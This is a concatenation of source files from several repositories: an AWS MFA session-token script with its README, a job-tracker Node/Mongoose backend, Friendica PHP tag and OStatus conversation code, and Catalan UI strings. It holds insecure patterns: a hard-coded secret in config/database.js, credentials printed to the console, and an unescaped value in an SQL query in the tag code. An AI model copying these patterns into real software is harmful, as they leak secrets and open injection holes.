For every use after the first time, it is highly reccomended you use the ```[exampleUser]``` profile when creating session keys. This ensure's that your AWS user's keys are not deleted from the aws credentials file when you execute ```aws2fa```.
#### Changing Session Time
If you want to change how long sessions last, open up the script file in the editor of your choice and simply change the following line to your preference:
```
DURATION = 900
```
The session duration is measured in seconds, with a default of 15 minutes for the script. The value ```32400``` (9 hours) is what I reccomend for general use.
<file_sep>/aws2fa
#!/usr/bin/env python3
"""
Use the users credentials to talk to AWS STS.
We pass STS a 2 factor code and get back a time limited set of credentials
Works well with this IAM policy:
https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_aws_my-sec-creds-self-manage.html
"""
import configparser
import json
import os
import boto3
STS = ""
NEW_PROFILE = ""
USER_KEY = ""
USER_SECRET_KEY = ""
PATH = ""
DURATION = 900 # CONFIGURE - recommended '32400' (9 hours)
PROFILE = ""
# Enter the AWS credential profile you would like to use.
# On first time use, use 'default'. Every time after, use the profile you create
# during configuration.
# ***WARNING***
# If you select 'default' after first time use, you will DELETE your AWS user's keys
def parse(response):
""" Parse the json blob that the STS service returns to us and write it to our config file """
global NEW_PROFILE
global USER_KEY
global USER_SECRET_KEY
global PATH
dump = json.dumps(response, default=str)
dictionary = json.loads(dump)
print(dictionary["Credentials"])
# places session info into a dictionary
key_info = dictionary["Credentials"]
key = key_info["AccessKeyId"]
secret_key = key_info["SecretAccessKey"]
session_token = key_info["SessionToken"]
config = configparser.ConfigParser()
# using config parser, the aws credentials file will be rewritten.
# it will contain the session keys and token under 'default', and your AWS user's
# access keys under the specified value for 'newProfile'
config['default'] = {'aws_access_key_id': key,
'aws_secret_access_key': secret_key,
'aws_session_token': session_token}
config[NEW_PROFILE] = {'aws_access_key_id': USER_KEY,
'aws_secret_access_key': USER_SECRET_KEY}
with open(PATH, 'w') as configfile:
config.write(configfile)
def create_session(duration, serial, token):
""" Create an STS session and pass the output to the parser """
response = STS.get_session_token(
DurationSeconds=duration,
SerialNumber=serial,
TokenCode=token
)
parse(response)
def get_user_input_for_token():
""" Ask the user in input their MFA id """
serial = input(
"Please enter the ID number for the MFA device associated with your user: ")
token = input("Please enter a token code provided by your MFA device: ")
create_session(DURATION, serial, token)
def define_session():
""" Get our STS session from AWS """
global STS
global PROFILE
session = boto3.Session(profile_name=PROFILE)
STS = session.client('sts')
if __name__ == '__main__':
PATH = os.path.expanduser("~") + "/.aws/credentials"
PROFILE = input("Please enter the profile you would like to use: ")
if PROFILE == "default":
print(
"You chose 'default' as your profile name. Do you need to configure this app?")
ANSWER = input("y/n: ")
if ANSWER == "y":
# type a new user name that will hold your credentials currently under 'default'
NEW_PROFILE = input("Please enter the name of your new profile: ")
CONFIG = configparser.ConfigParser()
CONFIG.read(PATH)
USER_KEY = CONFIG['default']['aws_access_key_id']
USER_SECRET_KEY = CONFIG['default']['aws_secret_access_key']
define_session() # creates a session using the profile you specified
get_user_input_for_token()
elif ANSWER == "n":
print(
"If you do not need to configure this app, please do not use your 'default' key pair.")
PROFILE = input("Please enter the profile you would like to use: ")
else:
print("Please enter 'y' or 'n'.")
else:
NEW_PROFILE = PROFILE
CONFIG = configparser.ConfigParser()
CONFIG.read(PATH)
USER_KEY = CONFIG[PROFILE]['aws_access_key_id']
USER_SECRET_KEY = CONFIG[PROFILE]['aws_secret_access_key']
define_session()
get_user_input_for_token()
| 267addbd33eb9552fdf5436f3deb11d4bcdaca22 | [
"Markdown",
"Python"
] | 2 | Markdown | hpearce-ops/2FA-CLI-Tokens | 3b265b37b9517296f191491032e319979b25325d | 925302de04723e197fc2fd8188e63e850b678e12 |
refs/heads/master | <repo_name>wpayze/Job-Tracker-Backend<file_sep>/models/offer.js
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var OfferSchema = new Schema({
title : {
type: String,
required: true
},
location: {
type: String
},
salary: {
type: Object
},
company: {
type: Schema.Types.ObjectId,
ref: 'Company',
},
skills: {
type: [String]
},
description: {
type: String
},
responsabilities: {
type: String
},
schedule: {
type: String
},
contract: {
type: String
},
category: {
type: Schema.Types.ObjectId,
ref: 'Category',
},
tags: {
type: [Schema.Types.ObjectId],
ref: 'Tag',
}
}, { timestamps: true });
module.exports = mongoose.model('Offer', OfferSchema);<file_sep>/models/favoriteOffer.js
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var FavoriteOfferSchema = new Schema({
user_id: {
type: Schema.Types.ObjectId,
ref: 'User'
},
offer_id: {
type: Schema.Types.ObjectId,
ref: 'Offer'
}
}, { timestamps: true });
module.exports = mongoose.model('FavoriteOffer', FavoriteOfferSchema);<file_sep>/helpers.js
var User = require("./models/user");
var Login = require("./models/login");
var bcrypt = require('bcrypt');
//USER-CANDIDATE-COMPANY
exports.createUser = async (data, id) => {
try {
let user_info = {
email: data.email,
password: <PASSWORD>,
type: data.type
}
switch (data.type) {
case 1:
user_info.candidate = id;
break;
case 2:
user_info.company = id;
break;
}
let newUser = new User(user_info);
let user = await newUser.save();
return {success:true, info: user};
} catch (error) {
return {success:false, error};
}
}
exports.comparePassword = async (pw, hash_pw) => {
try {
let isMatch = await bcrypt.compare(pw, hash_pw);
return isMatch;
} catch (error) {
console.log(error);
}
}
exports.saveLogin = async (id, origin) => {
try {
let login_info = {
user_id: id,
origin
};
let newLogin = new Login(login_info);
let login = newLogin.save();
} catch (error) {
return error;
}
}<file_sep>/README.md
# Job-Tracker-Backend<file_sep>/models/postulation.js
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var PostulationSchema = new Schema({
user_id: {
type: Schema.Types.ObjectId,
ref: 'User'
},
offer_id: {
type: Schema.Types.ObjectId,
ref: 'Offer'
}
}, { timestamps: true });
module.exports = mongoose.model('Postulation', PostulationSchema);<file_sep>/models/company.js
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var CompanySchema = new Schema({
name : {
type: String,
required: true
},
address : {
type: String
},
location: {
type: Object
},
logo : {
type: String
},
rating : {
type: Number,
default: 0
},
social_media: {
type: Object
}
}, { timestamps: true });
module.exports = mongoose.model('Company', CompanySchema);<file_sep>/config/database.js
module.exports = {
'secret':'wilpaiz2019secret$',
'database': 'mongodb://localhost:27017/job_tracker'
}; | af00c52e47913b1bbc8bf33f3dd074ebb2128591 | [
"JavaScript",
"Markdown"
] | 7 | JavaScript | wpayze/Job-Tracker-Backend | cbf85848919b312051632ee4b031b40080e5a568 | b04f005e2a0cc4efa43b2f90c913b32a273ceb97 |
refs/heads/master | <file_sep><?php
define('OSTATUS_DEFAULT_POLL_INTERVAL', 30); // given in minutes
define('OSTATUS_DEFAULT_POLL_TIMEFRAME', 1440); // given in minutes
function check_conversations() {
$last = get_config('system','ostatus_last_poll');
$poll_interval = intval(get_config('system','ostatus_poll_interval'));
if(! $poll_interval)
$poll_interval = OSTATUS_DEFAULT_POLL_INTERVAL;
// Don't poll if the interval is set negative
if ($poll_interval < 0)
return;
$poll_timeframe = intval(get_config('system','ostatus_poll_timeframe'));
if(! $poll_timeframe)
$poll_timeframe = OSTATUS_DEFAULT_POLL_TIMEFRAME;
if($last) {
$next = $last + ($poll_interval * 60);
if($next > time()) {
logger('complete_conversation: poll interval not reached');
return;
}
}
logger('complete_conversation: cron_start');
$start = date("Y-m-d H:i:s", time() - ($poll_timeframe * 60));
$conversations = q("SELECT * FROM `term` WHERE `type` = 7 AND `term` > '%s'",
dbesc($start));
foreach ($conversations AS $conversation) {
$id = $conversation['oid'];
$url = $conversation['url'];
complete_conversation($id, $url);
}
logger('complete_conversation: cron_end');
set_config('system','ostatus_last_poll', time());
}
function complete_conversation($itemid, $conversation_url, $only_add_conversation = false) {
global $a;
//logger('complete_conversation: completing conversation url '.$conversation_url.' for id '.$itemid);
$messages = q("SELECT `uid`, `parent`, `created` FROM `item` WHERE `id` = %d LIMIT 1", intval($itemid));
if (!$messages)
return;
$message = $messages[0];
// Store conversation url if not done before
$conversation = q("SELECT `url` FROM `term` WHERE `uid` = %d AND `oid` = %d AND `otype` = %d AND `type` = %d",
intval($message["uid"]), intval($itemid), intval(TERM_OBJ_POST), intval(TERM_CONVERSATION));
if (!$conversation) {
$r = q("INSERT INTO `term` (`uid`, `oid`, `otype`, `type`, `term`, `url`) VALUES (%d, %d, %d, %d, '%s', '%s')",
intval($message["uid"]), intval($itemid), intval(TERM_OBJ_POST), intval(TERM_CONVERSATION), dbesc($message["created"]), dbesc($conversation_url));
logger('complete_conversation: Storing conversation url '.$conversation_url.' for id '.$itemid);
}
if ($only_add_conversation)
return;
// Get the parent
$parents = q("SELECT `id`, `uri`, `contact-id`, `type`, `verb`, `visible` FROM `item` WHERE `uid` = %d AND `id` = %d LIMIT 1",
intval($message["uid"]), intval($message["parent"]));
if (!$parents)
return;
$parent = $parents[0];
require_once('include/html2bbcode.php');
require_once('include/items.php');
$conv = str_replace("/conversation/", "/api/statusnet/conversation/", $conversation_url).".as";
logger('complete_conversation: fetching conversation url '.$conv.' for '.$itemid);
$conv_as = fetch_url($conv);
if ($conv_as) {
$conv_as = str_replace(',"statusnet:notice_info":', ',"statusnet_notice_info":', $conv_as);
$conv_as = json_decode($conv_as);
$first_id = "";
if (!is_array($conv_as->items))
return;
$items = array_reverse($conv_as->items);
foreach ($items as $single_conv) {
if (@!$single_conv->id AND $single_conv->provider->url AND $single_conv->statusnet_notice_info->local_id)
$single_conv->id = $single_conv->provider->url."notice/".$single_conv->statusnet_notice_info->local_id;
if (@!$single_conv->id)
continue;
if ($first_id == "") {
$first_id = $single_conv->id;
$new_parents = q("SELECT `id`, `uri`, `contact-id`, `type`, `verb`, `visible` FROM `item` WHERE `uid` = %d AND `uri` = '%s' LIMIT 1",
intval($message["uid"]), dbesc($first_id));
if ($new_parents) {
$parent = $new_parents[0];
logger('complete_conversation: adopting new parent '.$parent["id"].' for '.$itemid);
} else {
$parent["id"] = 0;
$parent["uri"] = $first_id;
}
}
if (isset($single_conv->context->inReplyTo->id))
$parent_uri = $single_conv->context->inReplyTo->id;
else
$parent_uri = $parent["uri"];
$message_exists = q("SELECT `id` FROM `item` WHERE `uid` = %d AND `uri` = '%s' LIMIT 1",
intval($message["uid"]), dbesc($single_conv->id));
if ($message_exists) {
if ($parent["id"] != 0) {
$existing_message = $message_exists[0];
$r = q("UPDATE `item` SET `parent` = %d, `parent-uri` = '%s', `thr-parent` = '%s' WHERE `id` = %d LIMIT 1",
intval($parent["id"]),
dbesc($parent["uri"]),
dbesc($parent_uri),
intval($existing_message["id"]));
}
continue;
}
$arr = array();
$arr["uri"] = $single_conv->id;
$arr["plink"] = $single_conv->id;
$arr["uid"] = $message["uid"];
$arr["contact-id"] = $parent["contact-id"]; // To-Do
if ($parent["id"] != 0)
$arr["parent"] = $parent["id"];
$arr["parent-uri"] = $parent["uri"];
$arr["thr-parent"] = $parent_uri;
$arr["created"] = $single_conv->published;
$arr["edited"] = $single_conv->published;
//$arr["owner-name"] = $single_conv->actor->contact->displayName;
$arr["owner-name"] = $single_conv->actor->contact->preferredUsername;
$arr["owner-link"] = $single_conv->actor->id;
$arr["owner-avatar"] = $single_conv->actor->image->url;
//$arr["author-name"] = $single_conv->actor->contact->displayName;
$arr["author-name"] = $single_conv->actor->contact->preferredUsername;
$arr["author-link"] = $single_conv->actor->id;
$arr["author-avatar"] = $single_conv->actor->image->url;
$arr["body"] = html2bbcode($single_conv->content);
$arr["app"] = strip_tags($single_conv->statusnet_notice_info->source);
if ($arr["app"] == "")
$arr["app"] = $single_conv->provider->displayName;
$arr["verb"] = $parent["verb"];
$arr["visible"] = $parent["visible"];
$arr["location"] = $single_conv->location->displayName;
$arr["coord"] = trim($single_conv->location->lat." ".$single_conv->location->lon);
if ($arr["location"] == "")
unset($arr["location"]);
if ($arr["coord"] == "")
unset($arr["coord"]);
$newitem = item_store($arr);
// Add the conversation entry (but don't fetch the whole conversation)
complete_conversation($newitem, $conversation_url, true);
// If the newly created item is the top item then change the parent settings of the thread
if ($newitem AND ($arr["uri"] == $first_id)) {
logger('complete_conversation: setting new parent to id '.$newitem);
$new_parents = q("SELECT `id`, `uri`, `contact-id`, `type`, `verb`, `visible` FROM `item` WHERE `uid` = %d AND `id` = %d LIMIT 1",
intval($message["uid"]), intval($newitem));
if ($new_parents) {
$parent = $new_parents[0];
logger('complete_conversation: done changing parents to parent '.$newitem);
}
/*logger('complete_conversation: changing parents to parent '.$newitem.' old parent: '.$parent["id"].' new uri: '.$arr["uri"]);
$r = q("UPDATE `item` SET `parent` = %d, `parent-uri` = '%s' WHERE `parent` = %d",
intval($newitem),
dbesc($arr["uri"]),
intval($parent["id"]));
logger('complete_conversation: done changing parents to parent '.$newitem.' '.print_r($r, true));*/
}
}
}
}
?>
<file_sep><?php
/*
require_once("boot.php");
if(@is_null($a)) {
$a = new App;
}
if(is_null($db)) {
@include(".htconfig.php");
require_once("dba.php");
$db = new dba($db_host, $db_user, $db_pass, $db_data);
unset($db_host, $db_user, $db_pass, $db_data);
};
$a->set_baseurl("https://pirati.ca");
*/
function create_tags_from_item($itemid) {
global $a;
$profile_base = $a->get_baseurl();
$profile_data = parse_url($profile_base);
$profile_base_friendica = $profile_data['host'].$profile_data['path']."/profile/";
$profile_base_diaspora = $profile_data['host'].$profile_data['path']."/u/";
$searchpath = $a->get_baseurl()."/search?tag=";
$messages = q("SELECT `guid`, `uid`, `id`, `edited`, `deleted`, `title`, `body`, `tag` FROM `item` WHERE `id` = %d LIMIT 1", intval($itemid));
if (!$messages)
return;
$message = $messages[0];
// Clean up all tags
q("DELETE FROM `term` WHERE `otype` = %d AND `oid` = %d AND `type` IN (%d, %d)",
intval(TERM_OBJ_POST),
intval($itemid),
intval(TERM_HASHTAG),
intval(TERM_MENTION));
if ($message["deleted"])
return;
$cachefile = get_cachefile($message["guid"]."-".hash("md5", $message['body']));
if (($cachefile != '') AND !file_exists($cachefile)) {
$s = prepare_text($message['body']);
$stamp1 = microtime(true);
file_put_contents($cachefile, $s);
$a->save_timestamp($stamp1, "file");
logger('create_tags_from_item: put item '.$message["id"].' into cachefile '.$cachefile);
}
$taglist = explode(",", $message["tag"]);
$tags = "";
foreach ($taglist as $tag)
if ((substr(trim($tag), 0, 1) == "#") OR (substr(trim($tag), 0, 1) == "@"))
$tags .= " ".trim($tag);
else
$tags .= " #".trim($tag);
$data = " ".$message["title"]." ".$message["body"]." ".$tags." ";
$tags = array();
$pattern = "/\W\#([^\[].*?)[\s'\".,:;\?!\[\]\/]/ism";
if (preg_match_all($pattern, $data, $matches))
foreach ($matches[1] as $match)
$tags["#".strtolower($match)] = ""; // $searchpath.strtolower($match);
$pattern = "/\W([\#@])\[url\=(.*?)\](.*?)\[\/url\]/ism";
if (preg_match_all($pattern, $data, $matches, PREG_SET_ORDER)) {
foreach ($matches as $match)
$tags[$match[1].strtolower(trim($match[3], ',.:;[]/\"?!'))] = $match[2];
}
foreach ($tags as $tag=>$link) {
if (substr(trim($tag), 0, 1) == "#") {
$type = TERM_HASHTAG;
$term = substr($tag, 1);
} elseif (substr(trim($tag), 0, 1) == "@") {
$type = TERM_MENTION;
$term = substr($tag, 1);
} else { // This shouldn't happen
$type = TERM_HASHTAG;
$term = $tag;
}
$r = q("INSERT INTO `term` (`uid`, `oid`, `otype`, `type`, `term`, `url`) VALUES (%d, %d, %d, %d, '%s', '%s')",
intval($message["uid"]), intval($itemid), intval(TERM_OBJ_POST), intval($type), dbesc($term), dbesc($link));
// Search for mentions
if ((substr($tag, 0, 1) == '@') AND (strpos($link, $profile_base_friendica) OR strpos($link, $profile_base_diaspora))) {
$users = q("SELECT `uid` FROM `contact` WHERE self AND (`url` = '%s' OR `nurl` = '%s')", $link, $link);
foreach ($users AS $user) {
if ($user["uid"] == $message["uid"])
q("UPDATE `item` SET `mention` = 1 WHERE `id` = %d", intval($itemid));
}
}
}
}
function create_tags_from_itemuri($itemuri, $uid) {
$messages = q("SELECT `id` FROM `item` WHERE uri ='%s' AND uid=%d", dbesc($itemuri), intval($uid));
if(count($messages)) {
foreach ($messages as $message)
create_tags_from_item($message["id"]);
}
}
function update_items() {
//$messages = q("SELECT `id` FROM `item` where tag !='' ORDER BY `created` DESC limit 10");
$messages = q("SELECT `id` FROM `item` where tag !=''");
foreach ($messages as $message)
create_tags_from_item($message["id"]);
}
//print_r($tags);
//print_r($hashtags);
//print_r($mentions);
//update_items();
//create_tags_from_item(265194);
//create_tags_from_itemuri("<EMAIL>:cce94abd104c06e8", 2);
?>
<file_sep><?php
if(! function_exists("string_plural_select_ca")) {
function string_plural_select_ca($n){
return ($n != 1);;
}}
;
$a->strings["Profile"] = "Perfil";
$a->strings["Full Name:"] = "Nom Complet:";
$a->strings["Gender:"] = "Gènere:";
$a->strings["j F, Y"] = "j F, Y";
$a->strings["j F"] = "j F";
$a->strings["Birthday:"] = "Aniversari:";
$a->strings["Age:"] = "Edat:";
$a->strings["Status:"] = "Estatus:";
$a->strings["for %1\$d %2\$s"] = "per a %1\$d %2\$s";
$a->strings["Sexual Preference:"] = "Preferència Sexual:";
$a->strings["Homepage:"] = "Pàgina web:";
$a->strings["Hometown:"] = "Lloc de residència:";
$a->strings["Tags:"] = "Etiquetes:";
$a->strings["Political Views:"] = "Idees Polítiques:";
$a->strings["Religion:"] = "Religió:";
$a->strings["About:"] = "Acerca de:";
$a->strings["Hobbies/Interests:"] = "Aficiones/Intereses:";
$a->strings["Likes:"] = "Agrada:";
$a->strings["Dislikes:"] = "No Agrada";
$a->strings["Contact information and Social Networks:"] = "Informació de contacte i Xarxes Socials:";
$a->strings["Musical interests:"] = "Gustos musicals:";
$a->strings["Books, literature:"] = "Llibres, literatura:";
$a->strings["Television:"] = "Televisió:";
$a->strings["Film/dance/culture/entertainment:"] = "Cinema/ball/cultura/entreteniments:";
$a->strings["Love/Romance:"] = "Amor/sentiments:";
$a->strings["Work/employment:"] = "Treball/ocupació:";
$a->strings["School/education:"] = "Escola/formació";
$a->strings["Male"] = "Home";
$a->strings["Female"] = "Dona";
$a->strings["Currently Male"] = "Actualment Home";
$a->strings["Currently Female"] = "Actualment Dona";
$a->strings["Mostly Male"] = "Habitualment Home";
$a->strings["Mostly Female"] = "Habitualment Dona";
$a->strings["Transgender"] = "Transgènere";
$a->strings["Intersex"] = "Bisexual";
$a->strings["Transsexual"] = "Transexual";
$a->strings["Hermaphrodite"] = "Hermafrodita";
$a->strings["Neuter"] = "Neutre";
$a->strings["Non-specific"] = "No específicat";
$a->strings["Other"] = "Altres";
$a->strings["Undecided"] = "No Decidit";
$a->strings["Males"] = "Home";
$a->strings["Females"] = "Dona";
$a->strings["Gay"] = "Gay";
$a->strings["Lesbian"] = "Lesbiana";
$a->strings["No Preference"] = "Sense Preferències";
$a->strings["Bisexual"] = "Bisexual";
$a->strings["Autosexual"] = "Autosexual";
$a->strings["Abstinent"] = "Abstinent/a";
$a->strings["Virgin"] = "Verge";
$a->strings["Deviant"] = "Desviat/da";
$a->strings["Fetish"] = "Fetixiste";
$a->strings["Oodles"] = "Orgies";
$a->strings["Nonsexual"] = "Asexual";
$a->strings["Single"] = "Solter/a";
$a->strings["Lonely"] = "Solitari";
$a->strings["Available"] = "Disponible";
$a->strings["Unavailable"] = "No Disponible";
$a->strings["Has crush"] = "Compromés";
$a->strings["Infatuated"] = "Enamorat";
$a->strings["Dating"] = "De cites";
$a->strings["Unfaithful"] = "Infidel";
$a->strings["Sex Addict"] = "Adicte al sexe";
$a->strings["Friends"] = "Amics/Amigues";
$a->strings["Friends/Benefits"] = "Amics íntims";
$a->strings["Casual"] = "Oportunista";
$a->strings["Engaged"] = "Promès";
$a->strings["Married"] = "Casat";
$a->strings["Imaginarily married"] = "Matrimoni imaginari";
$a->strings["Partners"] = "Socis";
$a->strings["Cohabiting"] = "Cohabitant";
$a->strings["Common law"] = "Segons costums";
$a->strings["Happy"] = "Feliç";
$a->strings["Not looking"] = "No cerco";
$a->strings["Swinger"] = "Parella Liberal";
$a->strings["Betrayed"] = "Traït/da";
$a->strings["Separated"] = "Separat/da";
$a->strings["Unstable"] = "Inestable";
$a->strings["Divorced"] = "Divorciat/da";
$a->strings["Imaginarily divorced"] = "Divorci imaginari";
$a->strings["Widowed"] = "Vidu/a";
$a->strings["Uncertain"] = "Incert";
$a->strings["It's complicated"] = "Es complicat";
$a->strings["Don't care"] = "No t'interessa";
$a->strings["Ask me"] = "Pregunta'm";
$a->strings["stopped following"] = "Deixar de seguir";
$a->strings["Poke"] = "Atia";
$a->strings["View Status"] = "Veure Estatus";
$a->strings["View Profile"] = "Veure Perfil";
$a->strings["View Photos"] = "Veure Fotos";
$a->strings["Network Posts"] = "Enviaments a la Xarxa";
$a->strings["Edit Contact"] = "Editat Contacte";
$a->strings["Send PM"] = "Enviar Missatge Privat";
$a->strings["Visible to everybody"] = "Visible per tothom";
$a->strings["show"] = "mostra";
$a->strings["don't show"] = "no mostris";
$a->strings["Logged out."] = "Has sortit";
$a->strings["Login failed."] = "Error d'accés.";
$a->strings["We encountered a problem while logging in with the OpenID you provided. Please check the correct spelling of the ID."] = "Em trobat un problema quan accedies amb la OpenID que has proporcionat. Per favor, revisa la cadena del ID.";
$a->strings["The error message was:"] = "El missatge d'error fou: ";
$a->strings["l F d, Y \\@ g:i A"] = "l F d, Y \\@ g:i A";
$a->strings["Starts:"] = "Inici:";
$a->strings["Finishes:"] = "Acaba:";
$a->strings["Location:"] = "Ubicació:";
$a->strings["Disallowed profile URL."] = "Perfil URL no permès.";
$a->strings["Connect URL missing."] = "URL del connector perduda.";
$a->strings["This site is not configured to allow communications with other networks."] = "Aquest lloc no està configurat per permetre les comunicacions amb altres xarxes.";
$a->strings["No compatible communication protocols or feeds were discovered."] = "Protocol de comunnicació no compatible o alimentador descobert.";
$a->strings["The profile address specified does not provide adequate information."] = "L'adreça de perfil especificada no proveeix informació adient.";
$a->strings["An author or name was not found."] = "Un autor o nom no va ser trobat";
$a->strings["No browser URL could be matched to this address."] = "Cap direcció URL del navegador coincideix amb aquesta adreça.";
$a->strings["Unable to match @-style Identity Address with a known protocol or email contact."] = "Incapaç de trobar coincidències amb la Adreça d'Identitat estil @ amb els protocols coneguts o contactes de correu. ";
$a->strings["Use mailto: in front of address to force email check."] = "Emprar mailto: davant la adreça per a forçar la comprovació del correu.";
$a->strings["The profile address specified belongs to a network which has been disabled on this site."] = "La direcció del perfil especificat pertany a una xarxa que ha estat desactivada en aquest lloc.";
$a->strings["Limited profile. This person will be unable to receive direct/personal notifications from you."] = "Perfil limitat. Aquesta persona no podrà rebre notificacions personals/directes de tu.";
$a->strings["Unable to retrieve contact information."] = "No es pot recuperar la informació de contacte.";
$a->strings["following"] = "seguint";
$a->strings["An invitation is required."] = "Es requereix invitació.";
$a->strings["Invitation could not be verified."] = "La invitació no ha pogut ser verificada.";
$a->strings["Invalid OpenID url"] = "OpenID url no vàlid";
$a->strings["Please enter the required information."] = "Per favor, introdueixi la informació requerida.";
$a->strings["Please use a shorter name."] = "Per favor, empri un nom més curt.";
$a->strings["Name too short."] = "Nom massa curt.";
$a->strings["That doesn't appear to be your full (First Last) name."] = "Això no sembla ser el teu nom complet.";
$a->strings["Your email domain is not among those allowed on this site."] = "El seu domini de correu electrònic no es troba entre els permesos en aquest lloc.";
$a->strings["Not a valid email address."] = "Adreça de correu no vàlida.";
$a->strings["Cannot use that email."] = "No es pot utilitzar aquest correu electrònic.";
$a->strings["Your \"nickname\" can only contain \"a-z\", \"0-9\", \"-\", and \"_\", and must also begin with a letter."] = "El teu sobrenom nomes pot contenir \"a-z\", \"0-9\", \"-\", i \"_\", i començar amb lletra.";
$a->strings["Nickname is already registered. Please choose another."] = "àlies ja registrat. Tria un altre.";
$a->strings["Nickname was once registered here and may not be re-used. Please choose another."] = "L'àlies emprat ja està registrat alguna vegada i no es pot reutilitzar ";
$a->strings["SERIOUS ERROR: Generation of security keys failed."] = "ERROR IMPORTANT: La generació de claus de seguretat ha fallat.";
$a->strings["An error occurred during registration. Please try again."] = "Un error ha succeït durant el registre. Intenta-ho de nou.";
$a->strings["default"] = "per defecte";
$a->strings["An error occurred creating your default profile. Please try again."] = "Un error ha succeit durant la creació del teu perfil per defecte. Intenta-ho de nou.";
$a->strings["Profile Photos"] = "Fotos del Perfil";
$a->strings["Unknown | Not categorised"] = "Desconegut/No categoritzat";
$a->strings["Block immediately"] = "Bloquejar immediatament";
$a->strings["Shady, spammer, self-marketer"] = "Sospitós, Spam, auto-publicitat";
$a->strings["Known to me, but no opinion"] = "Conegut per mi, però sense opinió";
$a->strings["OK, probably harmless"] = "Bé, probablement inofensiu";
$a->strings["Reputable, has my trust"] = "Bona reputació, té la meva confiança";
$a->strings["Frequently"] = "Freqüentment";
$a->strings["Hourly"] = "Cada hora";
$a->strings["Twice daily"] = "Dues vegades al dia";
$a->strings["Daily"] = "Diari";
$a->strings["Weekly"] = "Setmanal";
$a->strings["Monthly"] = "Mensual";
$a->strings["Friendica"] = "Friendica";
$a->strings["OStatus"] = "OStatus";
$a->strings["RSS/Atom"] = "RSS/Atom";
$a->strings["Email"] = "Correu";
$a->strings["Diaspora"] = "Diaspora";
$a->strings["Facebook"] = "Facebook";
$a->strings["Zot!"] = "Zot!";
$a->strings["LinkedIn"] = "LinkedIn";
$a->strings["XMPP/IM"] = "XMPP/IM";
$a->strings["MySpace"] = "MySpace";
$a->strings["Google+"] = "Google+";
$a->strings["Add New Contact"] = "Afegir Nou Contacte";
$a->strings["Enter address or web location"] = "Introdueixi adreça o ubicació web";
$a->strings["Example: <EMAIL>, http://example.com/barbara"] = "Exemple: <EMAIL>, http://example.com/barbara";
$a->strings["Connect"] = "Connexió";
$a->strings["%d invitation available"] = array(
0 => "%d invitació disponible",
1 => "%d invitacions disponibles",
);
$a->strings["Find People"] = "Trobar Gent";
$a->strings["Enter name or interest"] = "Introdueixi nom o aficions";
$a->strings["Connect/Follow"] = "Connectar/Seguir";
$a->strings["Examples: <NAME>, Fishing"] = "Exemples: <NAME>, Pescar";
$a->strings["Find"] = "Cercar";
$a->strings["Friend Suggestions"] = "<NAME>";
$a->strings["Similar Interests"] = "Aficions Similars";
$a->strings["Random Profile"] = "<NAME>";
$a->strings["Invite Friends"] = "Invita Amics";
$a->strings["Networks"] = "Xarxes";
$a->strings["All Networks"] = "totes les Xarxes";
$a->strings["Saved Folders"] = "Carpetes Guardades";
$a->strings["Everything"] = "Tot";
$a->strings["Categories"] = "Categories";
$a->strings["%d contact in common"] = array(
0 => "%d contacte en comú",
1 => "%d contactes en comú",
);
$a->strings["show more"] = "Mostrar més";
$a->strings[" on Last.fm"] = " a Last.fm";
$a->strings["Image/photo"] = "Imatge/foto";
$a->strings["<span><a href=\"%s\" target=\"external-link\">%s</a> wrote the following <a href=\"%s\" target=\"external-link\">post</a>"] = "<span><a href=\"%s\" target=\"external-link\">%s</a> va escriure el següent <a href=\"%s\" target=\"external-link\">post</a>";
$a->strings["$1 wrote:"] = "$1 va escriure:";
$a->strings["Encrypted content"] = "Encriptar contingut";
$a->strings["view full size"] = "Veure'l a mida completa";
$a->strings["Miscellaneous"] = "Miscel·lania";
$a->strings["year"] = "any";
$a->strings["month"] = "mes";
$a->strings["day"] = "dia";
$a->strings["never"] = "mai";
$a->strings["less than a second ago"] = "Fa menys d'un segon";
$a->strings["years"] = "anys";
$a->strings["months"] = "mesos";
$a->strings["week"] = "setmana";
$a->strings["weeks"] = "setmanes";
$a->strings["days"] = "dies";
$a->strings["hour"] = "hora";
$a->strings["hours"] = "hores";
$a->strings["minute"] = "minut";
$a->strings["minutes"] = "minuts";
$a->strings["second"] = "segon";
$a->strings["seconds"] = "segons";
$a->strings["%1\$d %2\$s ago"] = " fa %1\$d %2\$s";
$a->strings["%s's birthday"] = "%s aniversari";
$a->strings["Happy Birthday %s"] = "Feliç Aniversari %s";
$a->strings["Click here to upgrade."] = "Clica aquí per actualitzar.";
$a->strings["This action exceeds the limits set by your subscription plan."] = "Aquesta acció excedeix els límits del teu plan de subscripció.";
$a->strings["This action is not available under your subscription plan."] = "Aquesta acció no està disponible en el teu plan de subscripció.";
$a->strings["(no subject)"] = "(sense assumpte)";
$a->strings["noreply"] = "no contestar";
$a->strings["%1\$s is now friends with %2\$s"] = "%1\$s és ara amic amb %2\$s";
$a->strings["Sharing notification from Diaspora network"] = "Compartint la notificació de la xarxa Diàspora";
$a->strings["photo"] = "foto";
$a->strings["status"] = "estatus";
$a->strings["%1\$s likes %2\$s's %3\$s"] = "a %1\$s agrada %2\$s de %3\$s";
$a->strings["Attachments:"] = "Adjunts:";
$a->strings["[Name Withheld]"] = "[Nom Amagat]";
$a->strings["A new person is sharing with you at "] = "Una persona nova està compartint amb tú en";
$a->strings["You have a new follower at "] = "Tens un nou seguidor a ";
$a->strings["Item not found."] = "Article no trobat.";
$a->strings["Do you really want to delete this item?"] = "Realment vols esborrar aquest article?";
$a->strings["Yes"] = "Si";
$a->strings["Cancel"] = "Cancel·lar";
$a->strings["Permission denied."] = "Permís denegat.";
$a->strings["Archives"] = "Arxius";
$a->strings["General Features"] = "Característiques Generals";
$a->strings["Multiple Profiles"] = "Perfils Múltiples";
$a->strings["Ability to create multiple profiles"] = "Habilitat per crear múltiples perfils";
$a->strings["Post Composition Features"] = "Característiques de Composició d'Enviaments";
$a->strings["Richtext Editor"] = "Editor de Text Enriquit";
$a->strings["Enable richtext editor"] = "Activar l'Editor de Text Enriquit";
$a->strings["Post Preview"] = "Vista Prèvia de l'Enviament";
$a->strings["Allow previewing posts and comments before publishing them"] = "Permetre la vista prèvia dels enviament i comentaris abans de publicar-los";
$a->strings["Network Sidebar Widgets"] = "Barra Lateral Selectora de Xarxa ";
$a->strings["Search by Date"] = "Cerca per Data";
$a->strings["Ability to select posts by date ranges"] = "Possibilitat de seleccionar els missatges per intervals de temps";
